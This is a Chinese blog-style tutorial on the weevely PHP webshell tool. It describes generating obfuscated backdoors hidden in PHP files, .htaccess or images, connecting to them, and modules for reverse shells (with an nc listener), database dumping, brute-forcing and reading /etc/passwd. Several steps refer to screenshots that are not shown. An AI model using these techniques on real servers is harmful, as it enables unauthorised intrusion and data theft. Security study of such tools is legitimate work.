weevely入手使用笔记
-前言
weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作是linux下的一款php菜刀替代工具,具有很好的隐蔽性(生成随机参数且base64加密),在linux上使用时还是很给力的(集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能),就是某些模块在windows上无法使用,总的来说还是非常不错的一款工具(仅用于安全学习教学之用,禁止非法用途)。
项目地址:http://epinna.github.com/Weevely/
作者:Emilio Pinna 主页:http://disse.cting.org
测试环境:kali linux 1.0.6 amd64 + Apache + php
1.生成后门
查看weevely help可以看到weevely可以生成三种形式的php后门:
:generate.php //生成php后门文件
:generate.htaccess //将后门代码插入到.htaccess,需要开启.htaccess支持 (关于.htaccess文件)
:generate.img //将后门代码插入到图片中,并修改.htaccess,需开启.htaccess支持
1.1 生成php后门文件
wevely会生成经过base64加密且参数随机的后门:
之前看到有大牛分离出Weevely中的加密模块来加密任意WebShell,在此作简单介绍:
加密模块:下载地址
Usage:python test.py intofile outfile
测试效果:
1.2 生成.htaccess后门
1.3 生成.img图片后门
2. 连接后门
连接方式都是一样的: weevely <url> <password> 这里不一一例举,但采用.htaccess或图片连接时要开启.htaccess支持:
kali下找apache2的配置文件,查看/etc/apache2/apache2.conf文件,发现没有,但它包含多个配置文件,依次查看,结果在其包含的sites-enabled/下找到了,其绝对路径:/etc/apache2/sites-enabled/000-default 修改如下配置以支持htaccess:
连接图片后门示例:
当然,weevely也支持在连接时直接带上命令直接执行:
~$ weevely http://127.0.0.1/img_door/1.jpg linger "ls" //这与上面的两步一样的,上面的类似交互式的shell
3.weevely丰富的模块功能
查看weevely的可利用模块:(可按TAB键进入控制台模式)
~# weevely help +----------------------+--------------------------------------------------+ module | description +----------------------+--------------------------------------------------+ | :audit.etcpasswd | 枚举/etc/passwd | | :audit.userfiles | 列举用户/home下具有权限的文件 | | :audit.mapwebfiles | 枚举任意Web站点的URL链接 | | :shell.php | 编写php文件 | | :shell.sh | 编写系统脚本 | | :system.info | 收集系统信息 | | :find.suidsgid | 查找SUID / SGID文件和目录 | | :find.perms | 查找权限可读/写/可执行文件和目录 | | :backdoor.tcp | TCP端口后门 | | :backdoor.reversetcp | 反弹TCP连接 | | :bruteforce.sql | 爆破指定数据库用户名密码 | | :bruteforce.sqlusers | 爆破所有数据库用户密码 | | :file.upload | 上传本地文件 | | :file.upload2web | 上传二进制/ ASCII文件至目标站点文件夹并枚举URL | | :file.enum | 在本地词表的书面枚举远程文件 | | :file.read | 读文件 | | :file.rm | 删除文件 | | :file.check | 检查远程文件的状态(md5值,大小,权限等) | | :file.download | 下载远程二进制/ ASCII文件到本地 | | :sql.console | 启动SQL控制台 | | :sql.dump | 备份数据库,即脱库 | | :net.scan | 端口扫描 | | :net.phpproxy | 安装远程php代理 | | :net.ifaces | 显示远程主机网络接口信息 | | :net.proxy | 安装隧道通信代理 | +----------------------+----------------------------------------------------+
反弹TCP连接到本地:
本地监听8008端口等待连接:
~$ nc -l -p 8008
在weevely上建立TCP连接:
可以看到本地与远程主机已经建立了连接:
枚举任意Web站点的URL链接:
:audit.mapwebfiles http://xxx.xxx.xx.xx/index.php http://xxx.xxx.xx.xx /var/www/conf
上传本地文件到远程主机指定路径
从远程主机下载文件:
当然还有很多强大的功能,在新版的kali里貌似新加了一些模块,用法都差不多,可以查看帮助“ :help shell.sh”。